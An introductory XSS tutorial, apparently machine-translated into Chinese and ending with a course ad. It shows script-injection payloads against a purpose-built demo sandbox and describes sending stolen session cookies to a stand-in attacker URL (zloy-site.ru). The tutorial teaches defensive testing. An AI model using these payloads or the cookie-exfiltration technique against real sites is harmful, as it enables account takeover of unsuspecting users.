如果您是安全测试专家并且一次或两次参加大型IT公司的赏金计划,并且发现的XSS数量为数十甚至数百,则可以放心地忽略本文。如果您是本主题的新手,并且刚刚开始对发现漏洞感兴趣,请随时注意。
定义
XSS(跨站点脚本)是一个相当普遍的漏洞,可以在许多Web应用程序中找到。它的本质非常简单;攻击者设法将JavaScript代码注入到开发人员未提供的页面中。每当受害者(普通用户)访问添加了该代码的应用程序页面时,就会执行该代码。然后有几种开发方案。
首先,攻击者将能够获取用户的凭据并登录其帐户。
其次,攻击者可以不引起受害者的注意而将其重定向到另一个克隆页面。该页面看起来可能与用户预期的页面完全相同。但是它将属于入侵者。如果用户没有注意到替换,而是在此页面上输入了一些敏感数据(即个人数据),则攻击者将拥有它。
第三……是的,总的来说,您可以想到的更多。攻击者几乎可以使用JavaScript所做的任何事情。下面我们将仔细研究这些示例之一。同时,让我们尝试更详细地讨论漏洞的工作原理。以及为什么攻击者设法在不访问源代码的情况下将其代码注入其他人的应用程序。
有点警告。以下所有信息仅供参考。测试人员必须能够测试其Web应用程序中的漏洞。但是,在他人资源上利用XSS漏洞是非法的。
如果我们谈论当前的俄罗斯法律,则当研究人员在未经所有者的知情和同意的情况下测试他人的产品的漏洞或进入他人的网络时,其行为可被视为非法。
但是回到XSS。
漏洞如何工作?
首先,如何准确地将JavaScript代码注入到以前没有的页面中?以及如何将此代码分发给其他用户?
例如,您可以将JavaScript代码添加到输入字段,从中保存文本,然后将其显示在页面上,供所有用户使用。这可以是用于在社交网络个人资料页面上或论坛上输入有关您自己的信息的字段。
攻击者输入文本(以及一个恶意代码),并将其保存在页面上。当其他用户访问同一页面时,他们将下载攻击者的JavaScript以及文本。在加载时,此代码将起作用。当然,仅当文本在保存时不安全时,该漏洞才会起作用。稍后我们将讨论如何执行此操作,以及为什么开发人员有时会忘记它。
这只是可以隐藏漏洞的最简单,最明显的示例。下面,我们将在专门准备的演示页面上考虑一个更有趣的示例。
在那之前,让我们继续前进。
为什么在Web项目上经常发现这些错误?
底线是浏览器无法独立区分纯文本和CSS,HTML或JavaScript代码的文本。它将尝试将<script>标记之间的任何内容都视为JavaScript代码。 <style>标记之间的所有内容均视为CSS。所有看起来像标签的东西都被视为HTML代码。
如果开发人员希望某些文本仅看起来像代码,但不是(即未经过浏览器处理,而是按原样显示),则必须先对这些文本进行特殊处理,然后再将其提供给浏览器。该处理称为“屏蔽”。
在此文本中的转义过程中,所有特殊内容。字符被替换为“对应”,浏览器已经确定它只是文本。最重要的是处理来自用户的文本,因为任何用户都可能成为入侵者并随文本一起发送一些代码。 las,有时开发人员会忘记在Web应用程序中的某些位置转义,并且显示文本时无需进行任何处理。可能有几个原因。
例如,程序员并不总是牢记用户指定的文本在页面上出现的所有位置。此外,有时可以在不同的时间和/或由不同的人创建站点的不同部分。在这种情况下,错误的可能性会增加。
另一个原因可能是该漏洞不在开发人员自己的代码中,而是在他使用的库的代码中。通常,这些是一些用于创建Web服务的现成框架。当然,在这种情况下,开发人员甚至可能不会怀疑通过将该框架连接到项目,他会自动将一个现成的漏洞与其连接。
总是有这样的风险。然而,如今完全从头开始编写应用程序而根本不使用任何库是很长且昂贵的。并非每个公司都能负担得起开发此级别的费用。
在这种情况下,所有的希望都寄给了测试人员。
为什么XSS漏洞很危险?
让我们再次更详细地讨论XSS漏洞的危险。该漏洞本身并不危险。当入侵者发现并开始将其用于自己的目的时,它将变得很危险。利用漏洞被称为“攻击媒介”。在XSS的情况下,攻击向量很多。
最简单的示例是从Web应用程序的用户窃取授权cookie。最常见的是,获得授权的站点通过所谓的会话cookie来区分授权用户。如果不存在,则用户无权。如果是,则服务器可以通过此cookie的值来区分一个用户与另一个用户。
所有cookie都存储在用户的计算机上。如果以用户身份登录,我将看到我的cookie值。而且我只是找不到一个陌生人的意思。
在用户浏览器中运行的JavaScript代码也是如此。该JavaScript代码将看到在其浏览器中执行该用户的用户的cookie值,并且只有该cookie值。
现在,假定攻击者成功将JavaScript代码注入Web应用程序页面。现在访问此页面的任何用户都将在浏览器中执行JavaScript代码。它将读取该用户(现在是受害者)的cookie值。只是将这个值传递给攻击者而已-工作已经完成。但是,由于恶意代码是在受害者的浏览器中执行的,该如何传递值?
很简单 相同的JavaScript代码可以创建到远程服务器的AJAX请求。例如,访问以下URL:www.zloy-site.ru/stolen= {受害者_cookie_value }
zloy站点域属于我们示例中的攻击者。到达该域的所有请求都记录在数据库中。通过查看URL参数,攻击者可以了解受害者的cookie值并可以使用它们进入其帐户。
如上所述,这并不是使XSS漏洞变得危险的唯一原因。因此,为了安全起见并保护用户,您需要能够在项目中找到并修复此类漏洞。
在哪里可以找到XSS?怎么处理呢?演示页面示例
首先,值得检查XSS漏洞,这些漏洞是普通用户有机会影响网站内容的那些位置。如果他可以在某处添加一些文本,则可以尝试添加JavaScript代码。
让我们来看一个具体的例子。我准备了一个非常简单的沙箱,其中隐藏了XSS漏洞。我建议尝试一起找到它。
打开沙箱:https : //playground.learnqa.ru/demo/xss
首先,让我们看一下页面的工作方式。从本质上讲,这是一个非常简单的可以检索的书籍目录。如果在查询中输入“ Ray Bradbury”,我们将看到该作者此目录中的所有书籍。
细心的用户已经注意到我们在搜索字段中输入的文本立即以URL结尾。这一刻对我们仍然有用。
现在,让我们尝试在搜索框中插入一些废话:“ fwefewf”。
我们将看到,在这种情况下,页面上没有任何内容。并且在错误文本中重复了请求文本:
因此,您和我找到了我们输入的文本出现的位置。因此,这是XSS漏洞的潜在站点。让我们尝试插入最流行的JavaScript代码,以检查是否存在漏洞。
<script>警报(123)</ script>
如果页面易受攻击,则在输入此代码后,页面上将出现以下窗口:
这将意味着我们的JavaScript代码已执行,并且我们发现了一个XSS漏洞。
因此,我们输入代码并看到以下警告:
表单不允许我们通过这样的值进行搜索,因为表单已经过验证并且只希望使用字母和数字。乍一看,开发人员似乎已考虑到所有因素并保护了该页面不受XSS的保护,但这并非完全正确。
还记得上面的内容,我们注意到在搜索字段中输入的文本显示在URL中所谓的GET参数中?该参数的名称是“ q”,值是我们在搜索字段中输入的值。这样做是为了使您可以复制URL以及此搜索字符串,然后下次立即与合适的作者一起打开页面。
例如,该URL将立即打开一个网页,只有雷·布拉德伯里的书:playground.learnqa.ru/demo/xss?q=Ray+Bradbury
不同的形式,开发者不能做URL验证-任何用户都可以在他的浏览器输入网址所需的任何内容,包括GET参数的任何值。在这种情况下,开发人员的任务是不要忘记考虑所有选项并为该GET参数的值编写正确的处理程序。
让我们检查一下我们的开发人员是否忘记了这里的所有内容。让我们尝试将相同的JavaScript代码替换为“ q” GET参数:https : //playground.learnqa.ru/demo/xss? q = <script> alert(123)</ script>
单击此URL后,我们看到页面上出现一个值123的窗口。但是为什么呢?
很简单记住,当站点找不到给定搜索查询所需的书时,它会在错误文本中显示此搜索查询的文本?就像,没有为查询“ blah blah”找到任何内容。现在,我们有了带有警报的JavaScript代码,而不是这种“等等”。开发人员对输入字段进行了验证,并确定这是他保护网站免受JavaScript包含在搜索查询中的方式。并且他没有逃脱错误文本。我们可以通过更改URL中的搜索查询值来绕过URL进行验证。
感兴趣的缘故,现在我们可以展示,而不是<SCRIPT>警报()</ SCRIPT>我们的会话cookie的值,对于这一点,你需要在URL替代另一个代码:<SCRIPT>警报(document.cookie中)</ SCRIPT>
我就让你玩这个你自己:)
发现错误后,您应该联系开发人员-他们将修复该错误。
有很多方法可以消除该错误。文本转义并不是唯一的选择。您还可以防止JavaScript本身看到一些cookie。为此,cookie具有一个特殊的参数“仅HTTP”。如果将其设置为TRUE,则JavaScript将根本无法发现已经设置了这样的cookie,并且即使攻击者可以在您的项目中找到XSS,也无法读取它并将其传输给攻击者。
所有这些只是很小的一部分,远远没有防止XSS漏洞的完整操作列表。如上所述,如果在测试过程中检测到XSS,最好与程序员交谈。
如果您想对安全测试有更多的了解,想更好地了解客户端服务器架构的结构,了解并磨练在实际Web应用程序中查找漏洞的最有效方法,请参加我的课程“安全测试”。您需要的所有信息都在我的个人资料中。
您只会发现没有水的有用且必要的理论,以及大量的实际示例和任务。您将探索许多充斥着各种漏洞的网页。最后的工作将是对您的工作项目或Google,Facebook,Twitter等巨人的Web应用程序之一进行大规模研究。